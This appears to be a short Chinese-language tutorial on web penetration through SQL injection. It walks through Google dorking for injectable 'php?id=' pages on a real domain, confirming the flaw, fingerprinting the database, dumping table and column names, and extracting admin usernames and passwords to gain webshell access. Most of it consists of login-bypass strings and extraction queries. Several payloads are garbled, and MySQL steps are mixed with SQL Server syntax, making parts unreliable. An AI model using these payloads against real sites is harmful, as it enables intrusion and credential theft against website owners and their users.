Web渗透经典流程
判断脚本系统,判断数据库类型——>寻找注入点——>猜解数据库表名——>猜解字段名——>猜解用户名和密码——>寻找后台地址登录,获得网站管理权限(webshell)
常见漏洞
注入漏洞
URL为:asp?id=
asp?newsid=
asp?page=
asp?Atricle=
SQL注入漏洞:strSQL="select * from users where username=(name='"+userName + "')and(pw='"+passWord+"');"
攻击方式:'or1='1'
'or1=1--
a'or'1==1--
'or'a'='a
三种不同数据库(ACCESS,SQL Server,MySQL)有不同的注入方法,由于现在php与My SQL使用更多,asp逐渐被淘汰,我只实践了php与My SQL组合。
1. 要想最快地找到网站的系统漏洞就要用扫描,要想最快地找到脚本方面的漏洞就应该用google了,使用google hack寻找网( inurl:php?id=)类型为 http://www.xx.com/php?id=xx,那么如何寻找在某个网址中含有php?id=的页面呢?就要用到如下的语句,php?id= site:sina.com.cn,这句话的意思是在sina.com.cn中找寻链接有 php?id=这样的信息,因为 php 注入的特性(php 默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),所以我们主要找id=这样的地方,很有可能就是传递整型数字变量的地方
2. 在URL加上 and 1=1 提交,返回如果与提交 and 1=2 页面不同则存在注入漏洞,但是真正影响我们注入的确不是这个 PHP 网站,而是其后台的数据库。所以接下来我们就来判断其后台数据库了。在目前的数据库系统中,只有 MySQL 数据库支持/*注释的,所以我们可以利用它来判断后台是否是 MySQL,如果不是那它就不支持这种注释了,自然就会出现错误。我们输入 http://www.xx.com/php?id=xx/*查看返回结果,如果没有出错,说明后台数据库就是 MySQL 了。
3.在URL后提交and ord(mid(version(),1,1))>51/*判断数据库版本,如果正常返回,那么这个数据库版本是大于 4.0 的,因为Ascii 码 51 代表的是 3,这里大于 3 的当然就是 4.0 以上版本!
4.暴任意表名,在URL后提交:and(select top 1 name from(select top N id,name from sysobjects where xtype=char(85)) T roder by id desc)>1,N代表数据库中第N个表,可得到第1个表的表名。
5.暴任意表任意列的列名:and(sel ect top 1 co 1_name(object_id('表名'),N) from sysobjects)>1,N为第N列。(错误中显示的FORUM_TOPICS是表名,TOPI(_ID)为列名)
6.有表,列名后,可以暴出数据库中数据,语句为:"and(select top 1 列名 from 表名 where id=N) " N代表第N条数据。
7.一般提交:and(select top 1 username(password) from admin where id=1)>1 可以得到第一条数据/密码。